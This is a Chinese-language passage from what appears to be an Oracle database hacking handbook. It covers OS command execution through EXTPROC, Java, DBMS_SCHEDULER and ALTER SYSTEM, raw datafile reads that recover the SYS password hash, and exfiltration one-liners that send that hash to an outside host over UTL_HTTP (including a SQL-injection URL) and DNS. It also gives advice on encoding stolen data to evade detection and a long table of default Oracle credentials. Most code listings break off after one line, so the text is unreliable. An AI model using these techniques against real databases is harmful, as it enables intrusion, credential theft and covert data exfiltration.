当执行ORAEXEC 过程时,Oracle 连接到TNS Listener 并请求访问EXTPROC。 EXTPROC 是 Oracle 用于运行外部过程的程序。侦听器执行 EXTPROC,然后将命名管道上的连接传递给数据库服务器。然后,数据库服务器指示 EXTPROC 加载 msvcrt.dll 库并执行 system() 函数,将命令“NET USER MYACCOUNT PASSWORD /ADD”传递给它。这告诉操作系统添加一个名为 MYACCOUNT 的新用户。因为默认情况下 Oracle 在 Windows 上作为 LOCAL SYSTEM 运行,所以执行起来应该没有任何问题。然后,攻击者当然可以将 MYACCOUNT 添加到本地管理员组。 Oracle 的许多安全安装将禁用外部程序;对于那些需要启用外部程序的程序,它们已被配置为以低权限用户身份运行。
更高版本的 Oracle 将外部库的位置限制在 ORACLE_HOME\bin 目录中。然而,这可以通过使用目录遍历攻击来绕过:
1 | CREATE OR REPLACE LIBRARY exec_shell AS |
Oracle 已经修复了这个缺陷,因此有两种使用 PL/SQL 执行 OS 命令的方法。 首先,可以使用 UTL_FILE 包(参见第 11 章“访问文件系统”)将 DLL 放入 ORACLE_HOME/bin 目录,或者设置 EXTPROC_DLLS 环境变量。 在无法运行 OS 命令的情况下,第二种方法更难在 Oracle 内部执行,因此首选前一种方法。
通过Java运行操作系统命令
通过 Java 运行 OS 命令不依赖于外部过程,命令以 Oracle 用户的权限执行。 一旦创建了 Java 源代码,它就会被包装在一个 PL/SQL 过程中,然后可以执行:
1 | CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS |
执行 OS 命令所需的 Java 权限如下:
1 | exec dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); |
通过DBMS_SCHEDULER运行系统命令
DBMS_SCHEDULER 是 Oracle 10g 中引入并附带的 PL/SQL 包。 创建此包的目的是使 DBA 能够将预定义的包和 shell 脚本(例如 Windows 批处理文件和 Unix sh 文件)的执行安排为“作业”。 使用 DBMS_SCHEDULER 成功提交作业需要 CREATE JOB 权限。 不允许执行程序。 但是,存在一个允许绕过此限制的错误。 通过在要运行的程序的名称中嵌入诸如与号 (&) 或管道 (∥) 之类的 shell 元字符,可以执行程序:
1 | BEGIN |
如果要通过 DBMS_SCHEDULER 运行 OS 命令,则必须运行 OracleJobSchedulerSID 服务。 如果没有,则调度程序将生成错误。
通过Job Scheduler运行系统命令
作业调度程序作为外部进程实现 - extjob。 在 Windows 上,它以 LOCAL SYSTEM 操作系统帐户的权限运行。 它侦听名为“orcljsex
1 | /* Oracle External Job Remote Command Exploit |
通过ALTER SYSTEM运行系统命令
Oracle 从未打算将其作为运行命令的正确方法,但它运行良好。 在 Oracle 9i 中,可以操纵 Oracle 编译本机 PL/SQL 程序的方式。 这是通过提供 make 程序的名称来完成的。 显然,这可以被滥用来运行操作系统命令:
1 | ALTER SYSTEM SET plsql_native_make_utility = 'cmd.exe /C dir > |
当 Oracle 编译 ohoh 过程时,Oracle 执行以下操作:
1 | cmd.exe /C dir > c:\ooops.txt & -f foo bar/RUN_CMD__SYSTEM__0.DLL |
Oracle 10g 弃用了 plsql_native_make_utility 参数。
访问文件系统
一旦服务器遭到入侵,攻击者可能想要探索文件系统——事实上,大量 Oracle 文件包含用户 ID 和密码,因此攻击者可能能够提升权限,如果他们还没有这样做的话。 可以使用 PL/SQL 或 Java 来访问文件系统。 由于对文件系统的访问是通过用于运行服务器的帐户的权限实现的,因此攻击者可以获得对数据库数据文件的直接原始访问。 因此,可以完全绕过所有数据库强制访问控制。 您已经在第 8 章“击败虚拟专用数据库”中看到了这一点。
使用UTL_FILE 包访问文件系统
UTL_FILE 包使 Oracle 用户能够读取和写入文件系统。 如前所述,对文件系统上的文件的访问是通过 Oracle 用户的权限实现的 - 因此该用户可以读取或写入的任何内容都可以被其他任何人读取或写入。 以下 PL/SQL 代码可用于从文件系统读取文件:
1 | CREATE OR REPLACE PROCEDURE READ_FILE(DIRNAME VARCHAR2, FNAME VARCHAR2) |
使用Java访问文件系统
使用 UTL_FILE 包访问文件系统要求用户有权访问 DIRECTORY 对象或创建 DIRECTORY 对象的权限。 使用 Java 不需要存在 DIRECTORY - 而是需要读写 java.io.FilePermission。 这可以通过调用 DBMS_JAVA.GRANT_PERMISSION 来授予:
1 | exec dbms_java.grant_permission('SCOTT', |
以下代码使用户能够以 Oracle 用户的权限读取文件:
1 | set serveroutput on |
显然,前面的代码比使用 UTL_FILE 和使用那些讨厌的 DIRECTORY 对象调度要简洁得多。
访问二进制文件
使用 Oracle 的 Java 访问基于二进制的文件有点奇怪——如果文件太大,它会使服务器的 CPU 以 100% 的速度旋转。 因此,在访问文件时,您需要以小块的形式进行。 以下代码将文件名作为其第一个参数,并将文件偏移量作为其第二个参数。 然后它从该偏移量中读取 512 个字节。
1 | SET ESCAPE ON |
通过使用以下代码直接访问 Oracle 数据文件,您可以完全绕过数据库服务器强制执行的访问控制。 例如,以下输出显示访问 SYSTEM01.DBF 文件中存储 USER$ 表的部分:
1 | set serveroutput on |
如果您查看输出的第一行,前 3 个字节是 \x53\x59\x53 - 这是“SYS”。 跳过接下来的 4 个字节并取接下来的 16 个字节,您将得到以下内容:
1 | "\x30\x44\x34\x37\x42\x35\x35\x30\x43\x35\x46\x37\x30\x44\x45\x44" |
这转换为“0D47B550C5F70DED”,它是 SYS 用户的密码哈希。 确认这一点,您可以运行以下选择:
1 | SQL> select password from dba_users where username = 'SYS'; |
可以将代码包装在循环中以提取整个数据文件。 有关这方面的更多信息,请参阅第 12 章中的“数据泄露”部分。
使用操作系统环境变量
Oracle 10g 在 DBMS_SYSTEM 包中引入了一个名为 GET_ENV 的过程。 此过程采用环境变量的名称并返回其值。 它不会返回 PATH 环境变量的值,但是:
1 | CREATE OR REPLACE PROCEDURE DUMP_ENV AS |
此过程产生以下输出:
1 | ORACLE_HOME: C:\oracle\product\10.1.0\Db_1 |
访问网络
本章研究访问网络的目的是为了数据泄露以及从受感染的 Oracle 服务器攻击其他系统。
数据泄漏
数据泄露是在不被注意的情况下获取数据的过程。 这可能就像使用物理备份磁带一样简单,也可能像使用网络上的隐蔽通道一样复杂。 Joanna Rutkowska 开发了一种更复杂的隐蔽通道方法。 它被称为NUSHU,以中国妇女使用的一种古老的密语命名。 NUSHU,最近的一个,使用 TCP 初始序列号来隐藏加密数据。 虽然可以检测到 NUSHU(使用英国剑桥大学的 Steven J. Murdoch 和 Stephen Lewis 以及俄罗斯塔甘罗格州立大学的 Eugene Tumoian 和 Maxim Anikeev 开发的方法),但必须指出的是,这些方法是在 NUSHU 被开发之后才发表。
使用 UTL_TCP
UTL_TCP PL/SQL 包使 Oracle 服务器能够创建到指定 TCP 端口上的远程主机的出站连接。 因此,它是一种从数据库中提取数据的有用方法。 首先连接到给定主机上的给定 TCP 端口,然后一旦连接就可以传输数据。 不用说,如果 Oracle 服务器受到带有出口过滤功能的防火墙的保护,那么攻击者就需要确定哪些端口被允许出去。 这可以使用前面介绍的 TCP 端口扫描器来实现。 通常,远程管理端口(例如 22 (SSH) 和 3389(终端服务))以及网络基础设施端口(例如 TCP 53 (DNS))通常是“开放的”。 发现可访问端口 25 (SMTP)、80 (HTTP) 和 443 (HTTPS) 的情况也并不少见。 以下代码演示了如何将 UTL_TCP 用作从数据库服务器提取数据的带外方法:
1 | DECLARE |
此代码连接到 192.168.0.10 上的 TCP 端口 111 (PortMapper)。 然后它从 DBA_USERS 中选择用户名和密码,将它们连接起来,然后通过网络发送它们。 然后连接关闭。 暂时忽略 DBMS_EXPORT_EXTENSION(参见第 5 章,“Oracle 和 PL/SQL”),像这样执行大块匿名 PL/SQL 大多只有在直接连接到数据库服务器时才可用; 它对 SQL 注入情况没有用。 然而,UTL_HTTP 可以。 我们接下来看看这个。
使用 UTL_HTTP
UTL_HTTP 包可用于从 Oracle 数据库服务器向 Web 服务器发出带外请求。 请求函数接受一个 URL:
1 | select utl_http.request('http://192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual; |
您可以在此处看到感兴趣的数据是 SYS 用户的密码。 选中后,它会发送到侦听 TCP 端口 5500 的远程 Web 服务器。 UTL_HTTP.REQUEST 在 SQL 注入场景中特别有用。 例如,假设一个应用程序正在连接 Oracle 后端,并且它容易受到搜索页面 FOO 参数中 SQL 注入的影响。 然后可以注入 UTL_HTTP.REQUEST 来窃取数据:
1 | http://example.com/search?FOO=BAR'||utl_http.request('http://192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS'))||'BAR |
其他可以非常有效地用于网络数据泄露的包是 UTL_MAIL、UTL_SMTP 和 UTL_INADDR。 特别令人感兴趣的是 UTL_INADDR,它可用于窃取伪装为 DNS 查询的数据。
使用 DNS 查询和 UTL_INADDR
UTL_INADDR 包用于查找主机名和 IP 地址,并可用作另一种带外方法。如果服务器已配置了名称服务器(它们几乎总是如此!),则可以使用此包窃取数据。由于域名系统的工作方式,当名称服务器查询到它不知道的主机的 IP 地址时,它会将请求向上转发到负责相关域的名称服务器。例如,如果在连接到我的 ISP 时,我向我的 ISP 的名称服务器查询主机 xyzpqr.ngssoftware.com,那么如果它不在缓存中,它就会将请求转发到 NGS DNS服务器进行解析。 NGS DNS服务器将回复主机的 IP 地址——当然,如果它存在的话。如果您拥有DNS服务器,因此可以访问日志或能够捕获离线流量,那么您可以通过 UDP 端口 53 从数据库服务器发送数据 - 当然,假设防火墙设置允许数据库服务器名称查找。
执行查询
1 | SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')||'.ngssoftware.com') FROM DUAL; |
导致服务器查询 0D47B550C5F70DED.ngssoftware.com:
1 | IP Header |
该查询最终到达 NGS DNS服务器,因此可以被捕获。 使用 UTL_INADDR 时,主机名最长可达 254 个字节。 其中,许多字节将用于域 - 例如,ngssoftware.com。 此外,主机名的每个部分都限制为 64 个字符,其中最后一个必须是一个点。
同样,因为 UTL_INADDR 是一个函数,所以它在 SQL 注入场景中很有用。
在泄露之前加密数据
一些数据库入侵检测产品检查离开服务器的数据以确定它是否与给定的模式匹配 - 例如,个人身份信息 (PII),如信用卡号或社会保险号。 为了避免触发警报,攻击者可能会在窃取数据之前混淆甚至加密数据。 任何嗅探网络线路的人只会看到看起来无辜的废话或随机字符串。 毋庸置疑,对某些人来说,这可能被视为妥协的证据,因此攻击者需要保持平衡。 以信用卡为例,寻找离开数据库服务器的此类数据的设备通常会被两个或多个卡号的简单串联所欺骗。 数字的每个字符都可以与一个常量相加 - 例如,0x20 - 使用字符 P 到 Y 使数字字符串成为字母字符串。也可以使用 DBMS_OBUSCATION_TOOLKIT、DBMS_CRYPTO 或 UTL_ENCODE 等包。 例如,
1 | select utl_encode.base64_encode((select password from dba_users where username = 'SYS')) from dual; |
结果是“30367274702B3268744B6F3D”的base64编码字符串。
另一种替代方法是使用 UTL_COMPRESS 的 LZ_COMPRESS 函数,该函数使用 Lempel-Ziv 压缩算法。
1 | select utl_compress.lz_compress((select password from dba_users where username = 'SYS'),6) from dual; |
生成字符串“1F8B080000000000000BBBBCEAEDF2B70BB7 AC020094E6B32C08000000”。
这些混淆方法可用于带内和带外方法。
攻击网络上的其他系统
您刚刚看到 UTL_TCP 可用于在任意 TCP 端口上创建与网络上其他主机的连接。 可以编写脚本将 Oracle 数据库服务器变成 TCP 端口扫描器(可能是有史以来最昂贵的!):
1 | CREATE OR REPLACE PACKAGE TCP_SCAN IS |
UTL_TCP 还可以用作 shellcode 的传递机制,利用其他网络服务器中的缓冲区溢出漏洞——例如,Windows 系统上的 IRemoteActivation 溢出或 Solaris in.lpd 溢出。
Java和网络
当然,您可以使用 Java 使用套接字或其他预先打包的网络类(如 URL)来连接网络,但要这样做,用户需要连接并解析 java.net.SocketPermission:
1 | exec dbms_java.grant_permission('SCOTT', 'SYS:java.net.SocketPermission','*', 'connect, resolve'); |
一旦你有了它,你就可以连接到任何主机——这在前面的语句中用星号表示。 以下代码使用 URL 类使您能够连接到 Web 服务器:
1 | CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAURL" AS |
数据库链接
当涉及到网络上的其他 Oracle 数据库服务器时,可以使用数据库链接。 数据库链接是一种特殊的数据库对象,它将一个 Oracle 服务器连接到另一个。 它是使用 CREATE DATABASE LINK 语句创建的。 链接可以共享,即公共或私有。 以下将创建一个私人链接:
1 | SQL> create database link remote_db connect to scott identified by tiger |
已创建数据库链接。 创建后,可以使用 @ 符号查询链接:
1 | SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB |
如果用户名和密码正确,第一个服务器将连接到第二个服务器并查询 ALL_USERS 表。
附录A-默认用户名和密码
Oracle 以安装大量带有默认密码的默认用户帐户而闻名。 尽管 Oracle 10g 的情况有所改善,但仍有许多数据库服务器使用默认帐户。 下表列出了默认用户名和密码。
USERNAME | PASSWORD |
---|---|
AASH | AASH |
ABA1 | ABA1 |
ABM | ABM |
ADAMS | WOOD |
ADS | ADS |
ADSEUL_US | WELCOME |
AHL | AHL |
AHM | AHM |
AK | AK |
AL | AL |
ALA1 | ALA1 |
ALLUSERS | ALLUSERS |
ALR | ALR |
AMA1 | AMA1 |
AMA2 | AMA2 |
AMA3 | AMA3 |
AMA4 | AMA4 |
AMF | AMF |
AMS | AMS |
AMS1 | AMS1 |
AMS2 | AMS2 |
AMS3 | AMS3 |
AMS4 | AMS4 |
AMSYS | AMSYS |
AMV | AMV |
AMW | AMW |
ANNE | ANNE |
AOLDEMO | AOLDEMO |
AP | AP |
APA1 | APA1 |
APA2 | APA2 |
APA3 | APA3 |
APA4 | APA4 |
APPLEAD | APPLEAD |
APPLSYS | FND |
APPLSYS | APPS |
APPLSYSPUB | PUB |
APPS | APPS |
APS1 | APS1 |
APS2 | APS2 |
APS3 | APS3 |
APS4 | APS4 |
AQDEMO | AQDEMO |
AQJAVA | AQJAVA |
AQUSER | AQUSER |
AR | AR |
ARA1 | ARA1 |
ARA2 | ARA2 |
ARA3 | ARA3 |
ARA4 | ARA4 |
ARS1 | ARS1 |
ARS2 | ARS2 |
ARS3 | ARS3 |
ARS4 | ARS4 |
ART | ART |
ASF | ASF |
ASG | ASG |
ASL | ASL |
ASN | ASN |
ASO | ASO |
ASP | ASP |
AST | AST |
AUC_GUEST | AUC_GUEST |
AURORA$ORB$UNAUTHENTICATED | INVALID |
AUTHORIA | AUTHORIA |
AX | AX |
AZ | AZ |
B2B | B2B |
BAM | BAM |
BCA1 | BCA1 |
BCA2 | BCA2 |
BEN | BEN |
BIC | BIC |
BIL | BIL |
BIM | BIM |
BIS | BIS |
BIV | BIV |
BIX | BIX |
BLAKE | PAPER |
BMEADOWS | BMEADOWS |
BNE | BNE |
BOM | BOM |
BP01 | BP01 |
BP02 | BP02 |
BP03 | BP03 |
BP04 | BP04 |
BP05 | BP05 |
BP06 | BP06 |
BSC | BSC |
BUYACCT | BUYACCT |
BUYAPPR1 | BUYAPPR1 |
BUYAPPR2 | BUYAPPR2 |
BUYAPPR3 | BUYAPPR3 |
BUYER | BUYER |
BUYMTCH | BUYMTCH |
CAMRON | CAMRON |
CANDICE | CANDICE |
CARL | CARL |
CARLY | CARLY |
CARMEN | CARMEN |
CARRIECONYERS | CARRIECONYERS |
CATADMIN | CATADMIN |
CE | CE |
CEASAR | CEASAR |
CENTRA | CENTRA |
CFD | CFD |
CHANDRA | CHANDRA |
CHARLEY | CHARLEY |
CHRISBAKER | CHRISBAKER |
CHRISTIE | CHRISTIE |
CINDY | CINDY |
CLARK | CLARK |
CLARK | CLOTH |
CLAUDE | CLAUDE |
CLINT | CLINT |
CLN | CLN |
CN | CN |
CNCADMIN | CNCADMIN |
CONNIE | CONNIE |
CONNOR | CONNOR |
CORY | CORY |
CRM1 | CRM1 |
CRM2 | CRM2 |
CRP | CRP |
CRPB733 | CRPB733 |
CRPCTL | CRPCTL |
CRPDTA | CRPDTA |
CS | CS |
CSADMIN | CSADMIN |
CSAPPR1 | CSAPPR1 |
CSC | CSC |
CSD | CSD |
CSDUMMY | CSDUMMY |
CSE | CSE |
CSF | CSF |
CSI | CSI |
CSL | CSL |
CSM | CSM |
CSMIG | CSMIG |
CSP | CSP |
CSR | CSR |
CSS | CSS |
CTXDEMO | CTXDEMO |
CTXSYS | CTXSYS |
CTXSYS | CHANGE_ON_INSTALL |
CTXTEST | CTXTEST |
CUA | CUA |
CUE | CUE |
CUF | CUF |
CUG | CUG |
CUI | CUI |
CUN | CUN |
CUP | CUP |
CUS | CUS |
CZ | CZ |
DAVIDMORGAN | DAVIDMORGAN |
DBSNMP | DBSNMP |
DCM | DCM |
DD7333 | DD7333 |
DD7334 | DD7334 |
DD810 | DD810 |
DD811 | DD811 |
DD812 | DD812 |
DD9 | DD9 |
DDB733 | DDB733 |
DDD | DDD |
DEMO8 | DEMO8 |
DES | DES |
DES2K | DES2K |
DEV2000_DEMOS | DEV2000_DEMOS |
DEVB733 | DEVB733 |
DEVUSER | DEVUSER |
DGRAY | WELCOME |
DIP | DIP |
DISCOVERER5 | DISCOVERER5 |
DKING | DKING |
DLD | DLD |
DMADMIN | MANAGER |
DMATS | DMATS |
DMS | DMS |
DMSYS | DMSYS |
DOM | DOM |
DPOND | DPOND |
DSGATEWAY | DSGATEWAY |
DV7333 | DV7333 |
DV7334 | DV7334 |
DV810 | DV810 |
DV811 | DV811 |
DV812 | DV812 |
DV9 | DV9 |
DVP1 | DVP1 |
EAA | EAA |
EAM | EAM |
EC | EC |
ECX | ECX |
EDR | EDR |
EDWEUL_US | EDWEUL_US |
EDWREP | EDWREP |
EGC1 | EGC1 |
EGD1 | EGD1 |
EGM1 | EGM1 |
EGO | EGO |
EGR1 | EGR1 |
END1 | END1 |
ENG | ENG |
ENI | ENI |
ENM1 | ENM1 |
ENS1 | ENS1 |
ENTMGR_CUST | ENTMGR_CUST |
ENTMGR_PRO | ENTMGR_PRO |
ENTMGR_TRAIN | ENTMGR_TRAIN |
EOPP_PORTALADM | EOPP_PORTALADM |
EOPP_PORTALMGR | EOPP_PORTALMGR |
EOPP_USER | EOPP_USER |
EUL_US | EUL_US |
EVM | EVM |
EXA1 | EXA1 |
EXA2 | EXA2 |
EXA3 | EXA3 |
EXA4 | EXA4 |
EXFSYS | EXFSYS |
EXS1 | EXS1 |
EXS2 | EXS2 |
EXS3 | EXS3 |
EXS4 | EXS4 |
FA | FA |
FEM | FEM |
FIA1 | FIA1 |
FII | FII |
FLM | FLM |
FNI1 | FNI1 |
FNI2 | FNI2 |
FPA | FPA |
FPT | FPT |
FRM | FRM |
FTA1 | FTA1 |
FTE | FTE |
FUN | FUN |
FV | FV |
FVP1 | FVP1 |
GALLEN | GALLEN |
GCA1 | GCA1 |
GCA2 | GCA2 |
GCA3 | GCA3 |
GCA9 | GCA9 |
GCMGR1 | GCMGR1 |
GCMGR2 | GCMGR2 |
GCMGR3 | GCMGR3 |
GCS | GCS |
GCS1 | GCS1 |
GCS2 | GCS2 |
GCS3 | GCS3 |
GEORGIAWINE | GEORGIAWINE |
GL | GL |
GLA1 | GLA1 |
GLA2 | GLA2 |
GLA3 | GLA3 |
GLA4 | GLA4 |
GLS1 | GLS1 |
GLS2 | GLS2 |
GLS3 | GLS3 |
GLS4 | GLS4 |
GM_AWDA | GM_AWDA |
GM_COPI | GM_COPI |
GM_DPHD | GM_DPHD |
GM_MLCT | GM_MLCT |
GM_PLADMA | GM_PLADMA |
GM_PLADMH | GM_PLADMH |
GM_PLCCA | GM_PLCCA |
GM_PLCCH | GM_PLCCH |
GM_PLCOMA | GM_PLCOMA |
GM_PLCOMH | GM_PLCOMH |
GM_PLCONA | GM_PLCONA |
GM_PLCONH | GM_PLCONH |
GM_PLNSCA | GM_PLNSCA |
GM_PLNSCH | GM_PLNSCH |
GM_PLSCTA | GM_PLSCTA |
GM_PLSCTH | GM_PLSCTH |
GM_PLVET | GM_PLVET |
GM_SPO | GM_SPO |
GM_STKH | GM_STKH |
GMA | GMA |
GMD | GMD |
GME | GME |
GMF | GMF |
GMI | GMI |
GML | GML |
GMP | GMP |
GMS | GMS |
GR | GR |
GUEST | GUEST |
HCC | HCC |
HHCFO | HHCFO |
HR | HR |
HRI | HRI |
HXC | HXC |
HXT | HXT |
IA | IA |
IBA | IBA |
IBC | IBC |
IBE | IBE |
IBP | IBP |
IBU | IBU |
IBY | IBY |
ICX | ICX |
IEB | IEB |
IEC | IEC |
IEM | IEM |
IEO | IEO |
IES | IES |
IEU | IEU |
IEX | IEX |
IGC | IGC |
IGF | IGF |
IGI | IGI |
IGS | IGS |
IGW | IGW |
IMC | IMC |
IMT | IMT |
INS1 | INS1 |
INS2 | INS2 |
INTERNET_APPSERVER_REGISTRY | INTERNET_APPSERVER_REGISTRY |
INV | INV |
IP | IP |
IPA | IPA |
IPD | IPD |
ISC | ISC |
ISTEWARD | ISTEWARD |
ITG | ITG |
JA | JA |
JD7333 | JD7333 |
JD7334 | JD7334 |
JD9 | JD9 |
JDE | JDE |
JDEDBA | JDEDBA |
JE | JE |
JG | JG |
JL | JL |
JOHNINARI | JOHNINARI |
JONES | STEEL |
JTF | JTF |
JTI | JTI |
JTM | JTM |
JTR | JTR |
JTS | JTS |
JUNK_PS | JUNK_PS |
JUSTOSHUM | JUSTOSHUM |
KELLYJONES | KELLYJONES |
KEVINDONS | KEVINDONS |
KPN | KPN |
LADAMS | LADAMS |
LBA | LBA |
LBACSYS | LBACSYS |
LDQUAL | LDQUAL |
LHILL | LHILL |
LNS | LNS |
LQUINCY | LQUINCY |
LSA | LSA |
MDDATA | MDDATA |
MDSYS | MDSYS |
ME | ME |
MFG | MFG |
MGR1 | MGR1 |
MGR2 | MGR2 |
MGR3 | MGR3 |
MGR4 | MGR4 |
MIKEIKEGAMI | MIKEIKEGAMI |
MJONES | MJONES |
MLAKE | MLAKE |
MM1 | MM1 |
MM2 | MM2 |
MM3 | MM3 |
MM4 | MM4 |
MM5 | MM5 |
MMARTIN | MMARTIN |
MOBILEADMIN | WELCOME |
MRP | MRP |
MSC | MSC |
MSD | MSD |
MSO | MSO |
MSR | MSR |
MST | MST |
MWA | MWA |
NEILKATSU | NEILKATSU |
OBJ7333 | OBJ7333 |
OBJ7334 | OBJ7334 |
OBJB733 | OBJB733 |
OCA | OCA |
ODM | ODM |
ODM_MTR | MTRPW |
ODS | ODS |
ODSCOMMON | ODSCOMMON |
OE | OE |
OKB | OKB |
OKC | OKC |
OKE | OKE |
OKI | OKI |
OKL | OKL |
OKO | OKO |
OKR | OKR |
OKS | OKS |
OKX | OKX |
OL810 | OL810 |
OL811 | OL811 |
OL812 | OL812 |
OL9 | OL9 |
OLAPSYS | MANAGER |
ONT | ONT |
OPI | OPI |
ORABAM | ORABAM |
ORABAMSAMPLES | ORABAMSAMPLES |
ORABPEL | ORABPEL |
ORAESB | ORAESB |
ORAOCA_PUBLIC | ORAOCA_PUBLIC |
ORASAGENT | ORASAGENT |
ORASSO | ORASSO |
ORASSO_DS | ORASSO_DS |
ORASSO_PA | ORASSO_PA |
ORASSO_PS | ORASSO_PS |
ORASSO_PUBLIC | ORASSO_PUBLIC |
ORDPLUGINS | ORDPLUGINS |
ORDSYS | ORDSYS |
OSM | OSM |
OTA | OTA |
OUTLN | OUTLN |
OWAPUB | OWAPUB |
OWF_MGR | OWF_MGR |
OZF | OZF |
OZP | OZP |
OZS | OZS |
PA | PA |
PABLO | PABLO |
PAIGE | PAIGE |
PAM | PAM |
PARRISH | PARRISH |
PARSON | PARSON |
PAT | PAT |
PATORILY | PATORILY |
PATRICKSANCHEZ | PATRICKSANCHEZ |
PATSY | PATSY |
PAUL | PAUL |
PAULA | PAULA |
PAXTON | PAXTON |
PCA1 | PCA1 |
PCA2 | PCA2 |
PCA3 | PCA3 |
PCA4 | PCA4 |
PCS1 | PCS1 |
PCS2 | PCS2 |
PCS3 | PCS3 |
PCS4 | PCS4 |
PD7333 | PD7333 |
PD7334 | PD7334 |
PD810 | PD810 |
PD811 | PD811 |
PD812 | PD812 |
PD9 | PD9 |
PDA1 | PDA1 |
PEARL | PEARL |
PEG | PEG |
PENNY | PENNY |
PERCY | PERCY |
PERRY | PERRY |
PETE | PETE |
PEYTON | PEYTON |
PHIL | PHIL |
PJI | PJI |
PJM | PJM |
PMI | PMI |
PN | PN |
PO | PO |
POA | POA |
POLLY | POLLY |
POM | POM |
PON | PON |
PORTAL | PORTAL |
PORTAL_APP | PORTAL_APP |
PORTAL_DEMO | PORTAL_DEMO |
PORTAL_PUBLIC | PORTAL_PUBLIC |
PORTAL30 | PORTAL30 |
PORTAL30_DEMO | PORTAL30_DEMO |
PORTAL30_PUBLIC | PORTAL30_PUBLIC |
PORTAL30_SSO | PORTAL30_SSO |
PORTAL30_SSO_PS | PORTAL30_SSO_PS |
PORTAL30_SSO_PUBLIC | PORTAL30_SSO_PUBLIC |
POS | POS |
PPM1 | PPM1 |
PPM2 | PPM2 |
PPM3 | PPM3 |
PPM4 | PPM4 |
PPM5 | PPM5 |
PRISTB733 | PRISTB733 |
PRISTCTL | PRISTCTL |
PRISTDTA | PRISTDTA |
PRODB733 | PRODB733 |
PRODCTL | PRODCTL |
PRODDTA | PRODDTA |
PRODUSER | PRODUSER |
PROJMFG | WELCOME |
PRP | PRP |
PS | PS |
PS810 | PS810 |
PS810CTL | PS810CTL |
PS810DTA | PS810DTA |
PS811 | PS811 |
PS811CTL | PS811CTL |
PS811DTA | PS811DTA |
PS812 | PS812 |
PS812CTL | PS812CTL |
PS812DTA | PS812DTA |
PSA | PSA |
PSB | PSB |
PSBASS | PSBASS |
PSEM | PSEM |
PSFT | PSFT |
PSFTDBA | PSFTDBA |
PSP | PSP |
PTADMIN | PTADMIN |
PTCNE | PTCNE |
PTDMO | PTDMO |
PTE | PTE |
PTESP | PTESP |
PTFRA | PTFRA |
PTG | PTG |
PTGER | PTGER |
PTJPN | PTJPN |
PTUKE | PTUKE |
PTUPG | PTUPG |
PTWEB | PTWEB |
PTWEBSERVER | PTWEBSERVER |
PV | PV |
PY7333 | PY7333 |
PY7334 | PY7334 |
PY810 | PY810 |
PY811 | PY811 |
PY812 | PY812 |
PY9 | PY9 |
QA | QA |
QOT | QOT |
QP | QP |
QRM | QRM |
QS | QS |
QS_ADM | QS_ADM |
QS_CB | QS_CB |
QS_CBADM | QS_CBADM |
QS_CS | QS_CS |
QS_ES | QS_ES |
QS_OS | QS_OS |
QS_WS | QS_WS |
RENE | RENE |
REPADMIN | REPADMIN |
REPORTS | REPORTS |
REPORTS_USER | OEM_TEMP |
RESTRICTED_US | RESTRICTED_US |
RG | RG |
RHX | RHX |
RLA | RLA |
RLM | RLM |
RM1 | RM1 |
RM2 | RM2 |
RM3 | RM3 |
RM4 | RM4 |
RM5 | RM5 |
RMAN | RMAN |
ROB | ROB |
RPARKER | RPARKER |
RWA1 | RWA1 |
SALLYH | SALLYH |
SAM | SAM |
SARAHMANDY | SARAHMANDY |
SCM1 | SCM1 |
SCM2 | SCM2 |
SCM3 | SCM3 |
SCM4 | SCM4 |
SCOTT | TIGER |
SDAVIS | SDAVIS |
SECDEMO | SECDEMO |
SEDWARDS | SEDWARDS |
SELLCM | SELLCM |
SELLER | SELLER |
SELLTREAS | SELLTREAS |
SERVICES | WELCOME |
SETUP | SETUP |
SH | SH |
SI_INFORMTN_SCHEMA | SI_INFORMTN_SCHEMA |
SID | SID |
SKAYE | SKAYE |
SKYTETSUKA | SKYTETSUKA |
SLSAA | SLSAA |
SLSMGR | SLSMGR |
SLSREP | SLSREP |
SRABBITT | SRABBITT |
SRALPHS | SRALPHS |
SRAY | SRAY |
SRIVERS | SRIVERS |
SSA1 | SSA1 |
SSA2 | SSA2 |
SSA3 | SSA3 |
SSC1 | SSC1 |
SSC2 | SSC2 |
SSC3 | SSC3 |
SSOSDK | SSOSDK |
SSP | SSP |
SSS1 | SSS1 |
SUPPLIER | SUPPLIER |
SVM7333 | SVM7333 |
SVM7334 | SVM7334 |
SVM810 | SVM810 |
SVM811 | SVM811 |
SVM812 | SVM812 |
SVM9 | SVM9 |
SVMB733 | SVMB733 |
SVP1 | SVP1 |
SY810 | SY810 |
SY811 | SY811 |
SY812 | SY812 |
SY9 | SY9 |
SYS | MANAGER |
SYS | CHANGE_ON_INSTALL |
SYS7333 | SYS7333 |
SYS7334 | SYS7334 |
SYSADMIN | SYSADMIN |
SYSB733 | SYSB733 |
SYSTEM | MANAGER |
TDEMARCO | TDEMARCO |
TDOS_ICSAP | TDOS_ICSAP |
TESTCTL | TESTCTL |
TESTDTA | TESTDTA |
TRA1 | TRA1 |
TRACESVR | TRACE |
TRBM1 | TRBM1 |
TRCM1 | TRCM1 |
TRDM1 | TRDM1 |
TRRM1 | TRRM1 |
TWILLIAMS | TWILLIAMS |
UDDISYS | UDDISYS |
VEA | VEA |
VEH | VEH |
VIDEO31 | VIDEO31 |
VIDEO4 | VIDEO4 |
VIDEO5 | VIDEO5 |
VP1 | VP1 |
VP2 | VP2 |
VP3 | VP3 |
VP4 | VP4 |
VP5 | VP5 |
VP6 | VP6 |
WAA1 | WAA1 |
WAA2 | WAA2 |
WCRSYS | WCRSYS |
WEBDB | WEBDB |
WEBSYS | WELCOME |
WENDYCHO | WENDYCHO |
WH | WH |
WIP | WIP |
WIRELESS | WELCOME |
WIRELESS | WIRELESS |
WK_TEST | WK_TEST |
WKPROXY | WKPROXY |
WKSYS | WKSYS |
WMS | WMS |
WMSYS | WMSYS |
WPS | WPS |
WSH | WSH |
WSM | WSM |
XDB | CHANGE_ON_INSTALL |
XDO | XDO |
XDP | XDP |
XLA | XLA |
XLE | XLE |
XNB | XNB |
XNC | XNC |
XNI | XNI |
XNM | XNM |
XNP | XNP |
XNS | XNS |
XTR | XTR |
